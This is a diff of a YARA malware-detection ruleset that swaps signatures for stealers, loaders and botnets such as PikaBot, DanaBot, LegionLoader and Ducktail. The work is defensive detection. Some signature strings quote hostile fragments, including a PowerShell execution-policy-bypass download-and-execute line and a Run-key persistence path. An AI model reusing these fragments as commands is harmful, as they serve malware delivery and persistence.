RUSSIANPANDA_Pikabot_1 : FILE +rule RUSSIANPANDA_Win_Mal_Juniperstealer : FILE { meta: - description = "Detects PikaBot" + description = "Detects Juniper Stealer" author = "RussianPanda" - id = "e740b821-69cc-5053-9f90-439b4364656f" - date = "2024-01-02" - modified = "2024-01-02" - reference = "https://research.openanalysis.net/pikabot/debugging/string%20decryption/2023/11/12/new-pikabot.html" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/PikaBot/Pikabot_1-2-2024.yar#L1-L16" + id = "d8ad9175-a226-5e09-a206-b3da42c1db42" + date = "2025-02-13" + modified = "2025-02-14" + reference = "https://github.com/RussianPanda95/Yara-Rules" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/UNC4108/win_mal_JuniperStealer.yar#L1-L14" license_url = "N/A" - logic_hash = "f2dd26c23aba72c2b6b959fb411381b7d3a7466f94bf5259f57e96e44d3ee153" + hash = "44dc2777ee8dd6d5cd8ebb10e71caf73b330940131417b5fca2b174a264e19e3" + logic_hash = "e3d05058bbb0e8e408f2b6cf24cb2462b6a3f237c3c464b891cda705b4968c02" score = 75 quality = 85 tags = "FILE" strings: - $s1 = {8A 04 11 30 02 42 83 EE 01 75 F5 5E C3} - $s2 = {C0 E9 02 C0 E0 04 [13] C0 E2 06 02 D0} - $s3 = {8D 53 BF 80 FA 19 0F B6 C3} + $s1 = "OutlookDecryptPwd" + $s2 = "CookiesNew" + $s3 = "Cookies128" + $s4 = "mscoree.dll" condition: - uint16( 0 ) == 0x5A4D and 2 of ( $s* ) and filesize < 500KB + uint16( 0 ) == 0x5A4D and all of them } -rule RUSSIANPANDA_Meduzastealer : FILE +rule RUSSIANPANDA_Mal_Msedge_Dll_Virusloader : FILE { meta: - description = "Detects MeduzaStealer 1-2024" + description = "Detects malicious msedge.dll file" author = "RussianPanda" - id = "6bc4c048-a32d-5a9c-b213-980c64d08d29" - date = "2024-01-01" - modified = "2024-01-01" - reference = "https://russianpanda.com/2023/06/28/Meduza-Stealer-or-The-Return-of-The-Infamous-Aurora-Stealer/" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/MeduzaStealer/MeduzaStealer_1-1-2024.yar#L1-L16" + id = "7139ee30-de9a-5ef0-a96f-2ab9c239c6ff" + date = "2024-01-19" + modified = "2024-01-19" + reference = "https://blog.phylum.io/npm-package-found-delivering-sophisticated-rat/" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/virusloader/mal_msedge_dll_virusloader.yar#L1-L16" license_url = "N/A" - logic_hash = "0547e51abd04302c45f1319bc21046ade019bc98eb85d9cba67cb2109ff642eb" + hash = "ab2e3b07170ef1516af3af0d03388868" + logic_hash = "659fd5fa3121fec5bf4cceb6f3dea95bf4cbcde7441d6f11c35288d8ad75a803" score = 75 - quality = 83 + quality = 85 tags = "FILE" strings: - $s1 = {41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 54 65 6d 70 5c 57 69 6e 55 70 64 61 74 65 2e 65 78 65} - $s2 = {0f 57 ?? ?? ?? 00 00 66 0f 7f 85 ?? ?? 00 00} - $s3 = {48 8d 15 ?? ?? 05 00 49 8b cf} - $s4 = {48 8d 0d ?? ?? 06 00 ff 15 ?? ?? 06 00} + $s1 = {C6 85 ?? FE FF FF ?? C6} + $s2 = {C7 85 ?? FD FF FF} + $s3 = {BF 60 01 00 00 [18] 30 04 39 41} condition: - 3 of ( $s* ) and filesize < 1MB + uint16( 0 ) == 0x5A4D and all of ( $s* ) and #s1 > 30 and #s2 > 30 and filesize < 300KB } -rule RUSSIANPANDA_Getshellplugin : FILE +rule RUSSIANPANDA_Mal_Botnetfenix_Payload : FILE { meta: - description = "Detects GetShell Plugin (client)" + description = "Detects BotnetFenix payload" author = "RussianPanda" - id = "f20f1c80-a52a-5f3a-8bbd-915ef77e9850" - date = "2025-12-31" - modified = "2025-12-31" + id = "566bfae1-c43d-5bd6-adcf-faff32d8c325" + date = "2024-02-02" + modified = "2024-02-04" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/ESXiExploitToolkit/win_mal_GetShellPlugin.yar#L1-L13" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/FenixBotnet/mal_BotnetFenix_Payload.yar#L1-L16" license_url = "N/A" - hash = "4614346fc1ff74f057d189db45aa7dc25d6e7f3d9b68c287a409a53c86dca25e" - logic_hash = "758339dc10eab3ae0fd743568ba356e91d2902ad6c8228095322903bdc00af6e" + hash = "65a9575c50a96d04a3f649fe0f6b8ccd" + logic_hash = "27f423b509ad8de0f8389c7b3e3bfec2eeb10c964aa8c70bad47cc4334df1a5e" score = 75 quality = 85 tags = "FILE" strings: - $s1 = "InfDefaultInstall.exe .\\vsock.inf" - $s2 = "InfDefaultInstall.exe .\\vmci.inf" - $s3 = "invalid SERVER_CID:PORT" + $s1 = "tasks_register" + $s2 = "actionget_action" + $s3 = "Post Success" + $s4 = "Success Stealer" + $s5 = "Download and Execute task id" + $a = "_CorExeMain" condition: - uint16( 0 ) == 0x5A4D and all of them + uint16( 0 ) == 0x5A4D and 4 of ( $s* ) and $a } -rule RUSSIANPANDA_Vsockpuppet : FILE +rule RUSSIANPANDA_Mal_Fenixbotnet_Jse { meta: - description = "Detects VSOCKpuppet payload" + description = "Detects Fenix Botnet JSE downloader" author = "RussianPanda" - id = "82ace9c6-5ca2-5665-8ed5-8fecfe54f12c" - date = "2025-12-31" - modified = "2025-12-31" + id = "00c6f8a6-c2e2-5b08-b332-b91371060bbe" + date = "2024-01-18" + modified = "2024-02-02" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/ESXiExploitToolkit/linux_mal_VSOCKpuppet.yar#L1-L14" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/FenixBotnet/mal_FenixBotnet_jse.yar#L1-L14" license_url = "N/A" - hash = "c3f8da7599468c11782c2332497b9e5013d98a1030034243dfed0cf072469c89" - logic_hash = "5c83b3303b092372da8ecd7cb8457a37e3f53042cdf8463fc8837208d34f09b6" + hash = "a7fadf0050d4d0b2cefd808e16dfde69" + logic_hash = "848c00361fba60e63e8ec4098404e87d4ba2b11d8489ad16d49c20fc653a5e45" score = 75 quality = 85 - tags = "FILE" + tags = "" strings: - $s1 = "received command:%s" - $s2 = "MCISock_GetAFValue failed" - $s3 = "recv_response failed" - $s4 = "send_msg_len failed" + $s1 = {76 61 72 20 [0-30] 3D 20 22 66 22} + $s2 = {76 61 72 20 [0-30] 3D 20 22 75 22} + $s3 = {76 61 72 20 [0-30] 3D 20 22 6E 22} + $s4 = {6E 65 77 20 46 75 6E 63 74 69 6F 6E 28 64 65 63 6F 64 65 55 52 49 43 6F 6D 70 6F 6E 65 6E 74 28 [0-30] 29 29 2E 63 61 6C 6C 28 29} condition: - uint32( 0 ) == 0x464C457F and all of them + all of ( $s* ) } -rule RUSSIANPANDA_MAESTRO : FILE +rule RUSSIANPANDA_Mal_Asuka_Stealer : FILE { meta: - description = "Detects MAESTRO payload" + description = "Detects AsukaStealer" author = "RussianPanda" - id = "c7684ab1-c7ac-504e-9402-ef0bd0b664b9" - date = "2025-12-31" - modified = "2025-12-31" + id = "a718be5f-dc76-5610-9237-038a9719d7e5" + date = "2024-02-02" + modified = "2024-03-18" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/ESXiExploitToolkit/win_mal_MAESTRO.yar#L1-L14" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/AsukaStealer/mal_asuka_stealer.yar#L1-L12" license_url = "N/A" - hash = "37972a232ac6d8c402ac4531430967c1fd458b74a52d6d1990688d88956791a7" - logic_hash = "943a4508bae1a285efb05232de29463c3ca667c28fd97e0ec9fd2e88df76b6c0" + logic_hash = "7974e0de821ddcafd4f00b27d587108f0d80f8a231dd0db4d2be4fa6ab44fef4" score = 75 quality = 85 tags = "FILE" strings: - $s1 = "devcon.exe disable \"PCI\\VEN_15AD&DEV_0740\"" - $s2 = "devcon.exe disable \"ROOT\\VMWVMCIHOSTDEV\"" - $s3 = "Open SymbolicLink Failed" wide - $s4 = "Done!!!" ascii wide + $s1 = {32 14 3E E8 F6 81 00 00} + $s2 = {00 58 00 2D 00 43 00 6F 00 6E 00 66 00 69 00 67} + $s3 = {58 00 2D 00 49 00 6E 00 66 00 6F} condition: uint16( 0 ) == 0x5A4D and all of them } -rule RUSSIANPANDA_Mydriversys : FILE +rule RUSSIANPANDA_Mal_Nitrogen : FILE { meta: - description = "Detects the malicious driver - MyDriver.sys" + description = "Detects Nitrogen campaign" author = "RussianPanda" - id = "9b97acfd-21e8-5974-9f95-ecf7c561fada" - date = "2025-12-31" - modified = "2025-12-31" + id = "9d591f87-47ec-54ea-b0ae-26a0542733a0" + date = "2024-02-04" + modified = "2024-02-04" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/ESXiExploitToolkit/win_mal_MyDriverSYS.yar#L1-L13" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Nitrogen/mal_nitrogen.yar#L1-L15" license_url = "N/A" - hash = "c3f8da7599468c11782c2332497b9e5013d98a1030034243dfed0cf072469c89" - logic_hash = "9eb5273dcd895aa861839119a7850461c52bb7f423301f7e0e03d8c382fa3ec9" + logic_hash = "642d5a16c7fb217a297bba683221de474eb028ac48ec8f52be897eaa056acb9b" score = 75 - quality = 85 + quality = 79 tags = "FILE" strings: - $s1 = "SetGuestInfo 7 11111111" - $s2 = "found ESXi%d.%d build-%d" - $s3 = "current build is not surpported" + $s1 = {63 7C 77 7B F2 6B 6F C5} + $s2 = {52 09 6A D5 30 36 A5 38} + $s3 = {6F 72 69 67 69 6E 61 6C 5F 69 6E 73 74 61 6C 6C} + $s4 = {43 3A 5C 55 73 65 72 73 5C 50 75 62 6C 69 63 5C 44 6F 77 6E 6C 6F 61 64} + $s5 = {25 00 43 00 55 00 52 00 52 00 45 00 4E 00 54 00 5F 00 44 00 45 00 52 00 45 00 43 00 54 00 4F 00 52 00 59 00 25} + $s6 = {4E 69 74 72 6F 67 65 6E 54 61 72 67 65 74} condition: - uint16( 0 ) == 0x5A4D and all of them + uint16( 0 ) == 0x5A4D and 5 of them } -rule RUSSIANPANDA_Peerblight : FILE +rule RUSSIANPANDA_Garystealer : FILE { meta: - description = "Detects PeerBlight backdoor" + description = "Detects GaryStealer 1-3-2024" author = "RussianPanda" - id = "8fdae13c-0a81-517d-9f6d-667c5db59621" - date = "2025-12-07" - modified = "2025-12-07" - reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/PeerBlight/linux_mal_PeerBlight.yar#L1-L16" + id = "4b0af30e-2cf1-539d-89fa-7e4e32cd6eab" + date = "2024-01-03" + modified = "2024-01-03" + reference = "https://cybersecurity.att.com/blogs/labs-research/behind-the-scenes-jaskagos-coordinated-strike-on-macos-and-windows" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/GaryStealer/garystealer-1-3-2024.yar#L1-L20" license_url = "N/A" - hash = "a605a70d031577c83c093803d11ec7c1e29d2ad530f8e95d9a729c3818c7050d" - logic_hash = "5bc60656c333c63aa869c1c94bbb2aa2802c4132ab988a08b50aad146ca6a23e" + hash = "6efa29a0f9d112cfbb982f7d9c0ddfe395b0b0edb885c2d5409b33ad60ce1435" + logic_hash = "f71655d0cb237c08af9c298ec9eec1ae9bd1efd50e26d61afddf9056b6883a15" score = 75 - quality = 60 + quality = 79 tags = "FILE" strings: - $s1 = "/bin/systemd-daemon" - $s2 = "/lib/systemd/system/systemd-agent.service" - $s3 = "group" - $s4 = "tag" - $s5 = "arch" - $s6 = "softirq" + $s1 = {72 75 6e 74 69 6d 65 2e 67 6f 70 61 6e 69 63} + $s2 = {4c 6f 63 61 6c 20 49 50 20 41 64 64 72 65 73 73 65 73 3a 5b 70 69 63 6b 2d 66 69 72 73 74 2d 6c 62 20 25 70 5d} + $s3 = {70 65 72 73 69 73 74 61 6E 63 65 20 63 72 65 61 74 65 64} + $s4 = {C7 40 28 ?? 00 00 00} condition: - uint32( 0 ) == 0x464c457f and 5 of them + uint16( 0 ) == 0x5A4D and 3 of ( $s* ) and filesize < 20MB and #s4 > 2 } rule RUSSIANPANDA_Purelogs_Stealer_Initial_Dropper : FILE { @@ -168268,133 +168323,113 @@ rule RUSSIANPANDA_Purelogs_Stealer_Core : FILE condition: all of ( $s* ) and filesize < 5MB and pe.imports ( "mscoree.dll" ) } -rule RUSSIANPANDA_Win_Mal_Zloader : FILE +rule RUSSIANPANDA_Legionloader : FILE { meta: - description = "Detects Zloader and other Zloader modules that employ the same encryption" + description = "Detects LegionLoader core payload" author = "RussianPanda" - id = "3f72e067-c82b-5c65-92c8-010955971d87" - date = "2024-03-10" - modified = "2024-03-10" - reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Zloader/win_mal_Zloader.yar#L1-L13" + id = "8ef86f65-543e-5491-8459-fd540e70fc0c" + date = "2024-10-05" + modified = "2024-12-30" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.satacom" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/LegionLoader/legionloader.yar#L1-L17" license_url = "N/A" - logic_hash = "9ac9e8ca4a6f84e1bccac2292705ee6ebbc1595eb3f40ed777f7973e9bda7fc1" + hash = "3b630367b2942bd765f8a35bca47ea6b" + logic_hash = "c833b22a6e87f6289e723a51ac9eb02848a4868c73ca9f568f6450e53c41a657" score = 75 quality = 85 tags = "FILE" strings: - $s1 = {8B 45 ?? 89 45 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C1 8B 45 ?? 99 F7 F9 8B 45 ?? 48 63 D2 48 8D 0D ?? ?? ?? 00 0F BE 0C 11 31 C8 88 C2 48 8B 45 F0 48 63 4D} - $s2 = {48 63 C9 44 0F B6 04 08 48 8B 45 E8 8B 4D D4 0F B6 14 08 44 31 C2 88 14 08 8B 45 D4} - $s3 = {B9 11 00 00 00 99 F7 F9 8B [0-20] 31 C8 88 C2} - $s4 = {8B 45 ?? BE 11 00 00 00 99 F7 [0-20] 83 F6 FF} + $s1 = "crypto_domain" + $s2 = "postback_url" + $s3 = "last_win_error" condition: - uint16( 0 ) == 0x5A4D and any of them + uint16( 0 ) == 0x5A4D and all of them and filesize < 500KB } -rule RUSSIANPANDA_Win_Mal_Glorysprout_Stealer : FILE +rule RUSSIANPANDA_Legionloader_Dropper : FILE { meta: - description = "Detects GlorySprout Stealer" + description = "Detects malicious LegionLoader DLL dropper" author = "RussianPanda" - id = "44c50f20-479e-5960-9ab9-97b9a17d7cbf" - date = "2024-03-16" - modified = "2024-03-16" - reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/GlorySprout/win_mal_GlorySprout_Stealer.yar#L1-L13" + id = "a1b04033-cfe0-5088-bfee-d08752e8840b" + date = "2024-09-23" + modified = "2024-09-23" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.satacom" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/LegionLoader/LegionLoader_dropper.yar#L1-L17" license_url = "N/A" - hash = "8996c252fc41b7ec0ec73ce814e84136be6efef898822146c25af2330f4fd04a" - logic_hash = "c843f7924e69c1b9fc3676178aa630319fe25605deddcd73c4905c51cc97d7eb" + hash = "ef5b961ebc6167e728f9bf40e726ac71" + logic_hash = "0871a6a0ab2c405793e8a49e662ba41acdcc6c8afac315f290de2cc05abd39fa" score = 75 quality = 85 tags = "FILE" strings: - $s1 = {25 0F 00 00 80 79 05 48 83 C8 F0 40} - $s2 = {8B 82 A4 00 00 00 8B F9 89 06 8D 4E 0C 8B 82 A8 00 00 00 89 46 04 0F B7 92 AC 00 00 00 89 56 08} - $s3 = {0F B6 06 C1 E7 04 03 F8 8B C7 25 00 00 00 F0 74 0B C1 E8 18} + $s1 = {48 03 CA [0-50] 33 D2 33 C9 FF 15 ?? ?? ?? ?? 33 D2 33 C9 FF 15} + $s2 = {44 30 3B 48 FF C3} + $s3 = {8B ?? 8B ?? 83 ?? 01 D1 ?? F7 ?? 81 ?? 20 83 B8 ED 8B} condition: - uint16( 0 ) == 0x5A4D and all of them and #s1 > 100 + uint16( 0 ) == 0x5A4D and all of them and filesize < 1MB } -rule RUSSIANPANDA_Sentinel_Stealer +rule RUSSIANPANDA_Danabot { meta: - description = "Detects Sentinel Stealer" + description = "Detects DanaBot" author = "RussianPanda" - id = "8a221d7b-8fa6-53cd-a3e8-63cc67285186" - date = "2024-01-19" - modified = "2024-01-19" + id = "804604d9-db3b-5678-ae0d-67f0e876c93e" + date = "2023-12-01" + modified = "2023-12-01" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/SentinelStealer/sentinel_stealer.yar#L1-L14" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/DanaBot/danabot_yara.yar#L1-L17" license_url = "N/A" - hash = "3a540a8a81c5a5b452f154d7875423a3" - logic_hash = "b9d72848842ea4d26544633bb83fccd17239b28493bde3f73341eb2004d8ee0c" + logic_hash = "4968531f27fa1a8bc3fca536a04b75277adefc42addb9f1999c564510cbcb684" score = 75 - quality = 85 + quality = 83 tags = "" strings: - $s1 = "Sentinel.SmallerEncryptedIcon" wide - $s2 = "SentinelSteals" wide - $s4 = "_CorExeMain" - - condition: - all of them -} - -rule RUSSIANPANDA_Workersdevbackdoor : FILE -{ - meta: - description = "Detects WorkersDevBackdoor" - author = "RussianPanda" - id = "725e0924-c108-5927-8d27-e4bc5b284883" - date = "2023-12-15" - modified = "2024-01-05" - reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/WorkersDevBackdoor/WorkDevBackdoor.yar#L3-L20" - license_url = "N/A" - logic_hash = "f92ad9dc657d87a47e539ea2ee896f9b86bb95e51a890a838c6e6b0efa5deb7d" - score = 75 - quality = 85 - tags = "FILE" - - strings: - $s1 = {72 00 65 00 67 00 69 00 73 00 74 00 65 00 72 00 20 00 7B 00 30 00 7D 00 20 00 7B 00 31 00 7D} - $s2 = {72 FB 00 00 70 72 13 01 00 70 28 20 00 00 0A 72 2D 01 00 70} - $s3 = {55 00 53 00 45 00 52 00 44 00 4F 00 4D 00 41 00 49 00 4E} - $s4 = {43 00 4F 00 4D 00 50 00 55 00 54 00 45 00 52 00 4E 00 41 00 4D 00 45} + $s1 = {55 8b ec 8a 45 08 34 4a 5d c2 04 00} + $s2 = {4D 00 6F 00 7A 00 69 00 6C 00 6C 00 61 00 5C 00 53 00 65 00 61 00 4D 00 6F 00 6E 00 6B 00 65 00 79} + $s3 = {4D 00 6F 00 7A 00 69 00 6C 00 6C 00 61 00 20 00 54 00 68 00 75 00 6E 00 64 00 65 00 72 00 62 00 69 00 72 00 64 00} + $s4 = {53 00 6F 00 66 00 74 00 77 00 61 00 72 00 65 00 5C 00 4F 00 52 00 4C 00 5C 00 57 00 69 00 6E 00 56 00 4E 00 43 00 33 00 5C 00 50 00 61 00 73 00 73 00 77 00 6F 00 72 00 64} + $s5 = {53 00 6F 00 66 00 74 00 77 00 61 00 72 00 65 00 5C 00 45 00 78 00 63 00 69 00 74 00 65 00 5C 00 50 00 72 00 69 00 76 00 61 00 74 00 65 00 4D 00 65 00 73 00 73 00 65 00 6E 00 67 00 65 00 72 00 5C 00 50 00 61 00 73 00 73 00 77 00 6F 00 72 00 64} + $a = {44 45 4C 50 48 49 43 4C 41 53 53} condition: - 3 of ( $s* ) and pe.imports ( "mscoree.dll" ) and filesize < 2MB + 3 of ( $s* ) and $a } -rule RUSSIANPANDA_Workersdevbackdoor_PS : FILE +rule RUSSIANPANDA_Truecrypt_Crypter : FILE { meta: - description = "Detects WorkersDevBackdoor PowerShell script" + description = "Detects TrueCrypt crypter" author = "RussianPanda" - id = "d2b526c1-a9f5-57de-818c-99b02e778a0d" - date = "2023-12-15" - modified = "2023-12-15" + id = "3ecf9c2f-6205-5e55-83a5-2b4e3ba89f07" + date = "2024-01-06" + modified = "2024-01-06" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/WorkersDevBackdoor/WorkersDevBackdoor_PS.yar#L1-L18" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/TrueCrypt/truecrypt_crypter.yar#L1-L27" license_url = "N/A" - logic_hash = "c71eed8fd7a44f3018150cc6ef55d10779093ed8e4c77fd9babcf9b1b9fadfda" + hash = "167637397fb45ea19bafcf208d8f27dceec82caa7ab19d40ecdb08eb1b7d4f60" + logic_hash = "68612c68053e9fb81d9616c04b04ac2e2cb685f3b7ed71f8b31e8f22e3a539e7" score = 75 - quality = 85 + quality = 81 tags = "FILE" strings: - $s1 = "sleep" wide - $s2 = "convertto-securestring" wide - $s3 = "System.Drawing.dll" wide - $s4 = "System.Web.Extensions.dll" wide - $s5 = "System.Windows.Forms.dll" wide - $s6 = "CSharp" wide + $s1_crpt1 = {77 69 6E 65 5F 67 65 74} + $s2_crpt1 = {49 3B 66 10 76} + $s2_crpt2 = {3B 55 48 89 E5 48 83 EC 10 90 8B 0D [22] E8 [3] FF} + $s3_crpt1 = {49 3B 66 10 76 43} + $s3_crpt2 = {55 48 89 E5 48 83 EC 10 [5] E8 [4] 48 85 FF 75 18} + $s4_crpt1 = {40 C0 EE 04 [16] 48 83} + $s4_crpt2 = {FA 20 [0-22] 48 83 FE 20} + $a_crpt = {61 2E 6F 75 74 2E 65 78 65 00 5F 63 67} + $s_crpt = {6F 5F 64 75 6D 6D 79 5F 65 78 70 6F 72 74} condition: - all of ( $s* ) and filesize < 200KB + uint16( 0 ) == 0x5A4D and $s1_crpt1 and $s2_crpt1 and $s2_crpt2 and $s3_crpt1 and $s3_crpt2 and $s4_crpt1 and $s4_crpt2 and $a_crpt and $s_crpt and filesize < 7MB } rule RUSSIANPANDA_Easycrypter : FILE { @@ -168420,802 +168455,801 @@ rule RUSSIANPANDA_Easycrypter : FILE condition: uint16( 0 ) == 0x5A4D and $s1 and $s2 } -rule RUSSIANPANDA_Smartapesg_JS_Netsupportrat_Stage2 : FILE +rule RUSSIANPANDA_Win_Mal_Matanbuchus_Loader : FILE { meta: - description = "Detects SmartApeSG JavaScript Stage 2 retrieving NetSupportRAT" + description = "Detects Matanbuchus 3.0 Loader component" author = "RussianPanda" - id = "2a614e11-be32-5bf1-9fd1-da224f0a644e" - date = "2024-01-11" - modified = "2024-01-12" + id = "3a7a22b3-a1aa-59d8-b947-99a2ea192a6b" + date = "2025-02-15" + modified = "2026-02-16" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/SmartApeSG/SmartApeSG_JS_NetSupportRAT_stage2.yar#L1-L23" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Matanbuchus/win_mal_Matanbuchus_loader.yar#L1-L15" license_url = "N/A" - hash = "67d8f84b37732cf85e05b327ad6b6a9f" - logic_hash = "5a2afaa14d513e0a3c4e52acfb433e53a4541983a05d15318a217c14dc06453c" + hash = "ec29bcda7d42d812aebd2ee5be6e43256bcf6095b9fc36f92eec5d6475dd5e1f" + logic_hash = "a9497b30283d932c134a4bf8f965ce1bd3d590f8dec53cb65fa418a152f67581" score = 75 - quality = 85 + quality = 81 tags = "FILE" strings: - $x1 = "powershell.exe -Ex Bypass -NoP -C $" - $x2 = "Get-Random -Minimum -1000 -Maximum 1000" - $s1 = "HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run" - $s2 = "=new ActiveXObject('W" - $s3 = "System.Net.WebClient).DownloadString($" - $s4 = "FromBase64String" - $s5 = "Start-Process -FilePath $" + $s1 = {FF E0 F5 05 EB 0F} + $s2 = {65 78 70 61} + $s3 = {6E 64 20 33} + $s4 = {66 89 ?? ?? ?? ?? 00 00 00 66 89 ?? ?? ?? ?? 00 00 00 66 89} + $s5 = {E8 00 00 00 00 83 04 24 05 CB} condition: - filesize < 1MB and ( ( 1 of ( $x* ) and 3 of them ) or 5 of them ) + uint16( 0 ) == 0x5A4D and 4 of them and filesize < 250KB } -rule RUSSIANPANDA_Smartapesg_JS_Dropper_Stage1 : FILE + +rule RUSSIANPANDA_Ducktail_Mainbot : FILE { meta: - description = "Detects SmartApeSG initial JavaScript file" + description = "Detects Ducktail mainbot" author = "RussianPanda" - id = "9513f323-c315-5ae2-92a5-c831d0a7ce2a" - date = "2024-01-11" - modified = "2024-01-11" - reference = "https://medium.com/walmartglobaltech/smartapesg-4605157a5b80" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/SmartApeSG/SmartApeSG_JS_dropper_stage1.yar#L1-L18" + id = "f280903f-13d3-54e1-8308-781e3f777d13" + date = "2023-12-24" + modified = "2023-12-26" + reference = "https://github.com/RussianPanda95/Yara-Rules" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Ducktail/ducktail_mainbot-12-2023.yar#L3-L19" license_url = "N/A" - hash = "8769d9ebcf14b24a657532cd96f9520f54aa0e799399d840285311dfebe3fb15" - logic_hash = "de7e4ec30c780699b46de7baf2a916fdb7331da2ee7c2d637422ea664cd03b82" + logic_hash = "33b85c6e1e1137aeeb07eba957b73d738a70ddc561b42bd2d39258e90280fca4" score = 75 - quality = 60 + quality = 85 tags = "FILE" strings: - $a1 = "'GE'+'T'" - $a2 = "'GE','T'" - $s1 = "pt.Creat" - $s2 = "L2.ServerX" - $s3 = "ponseText" - $s4 = "MLHTTP.6.0" - $s5 = /\/news\.php\?([0-9]|[1-9][0-9]|100)/ + $s1 = {2F 00 61 00 70 00 69 00 2F 00 63 00 68 00 65 00 63 00 6B} + $s2 = {62 00 65 00 67 00 69 00 6E 00 20 00 63 00 6F 00 6E 00 6E 00 65 00 63 00 74} + $s3 = {62 00 65 00 67 00 69 00 6E 00 20 00 66 00 6C 00 75 00 73 00 68 00 20 00 64 00 6E 00 73} + $s4 = {62 00 65 00 67 00 69 00 6E 00 20 00 73 00 65 00 6E 00 64 00 69 00 6E 00 67} condition: - all of ( $s* ) and filesize < 1MB and any of ( $a* ) + all of ( $s* ) and filesize < 12MB and pe.exports ( "DotNetRuntimeDebugHeader" ) } -rule RUSSIANPANDA_Win_Mal_Astarionrat : FILE + +rule RUSSIANPANDA_Ducktail_Myrdpservice_Bot : FILE { meta: - description = "Detects AstarionRAT" + description = "Detects Ducktail myRdpService bot" author = "RussianPanda" - id = "70588745-761a-5b74-a612-7affde300b09" - date = "2025-02-14" - modified = "2026-02-14" + id = "50786786-a7db-5290-a363-6fda139a0343" + date = "2023-12-24" + modified = "2023-12-26" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/AstarionRAT/win_mal_AstarionRAT.yar#L1-L13" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Ducktail/ducktail_myrdpservice-12-2023.yar#L3-L17" license_url = "N/A" - hash = "a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b" - logic_hash = "ea8050f9127fdbc70b3e8f390bb557b9ac39045e98a1998f11363016d17c3164" + logic_hash = "a329067fbb2acc34c4970167bbce0706c5a3ec09ee89ce16817c105ae1c17b1b" score = 75 quality = 85 tags = "FILE" strings: - $s1 = "s5://%s:%s@%s:%d" - $s2 = "Failed to connect to the server" - $s3 = "Impersonated" + $s1 = {43 00 3A 00 5C 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 5C 00 54 00 65 00 6D 00 70 00 5C 00 64 00 65 00 76 00 69 00 63 00 65 00 49 00 64 00 2E 00 74 00 78 00 74} + $s2 = {6C 00 6F 00 67 00 5F 00 72 00 64 00 70 00 2A} + $s3 = {00 43 00 6F 00 6E 00 6E 00 65 00 63 00 74 00 65 00 64 00} condition: - uint16( 0 ) == 0x5A4D and all of them + all of ( $s* ) and filesize < 12MB and pe.exports ( "DotNetRuntimeDebugHeader" ) } -rule 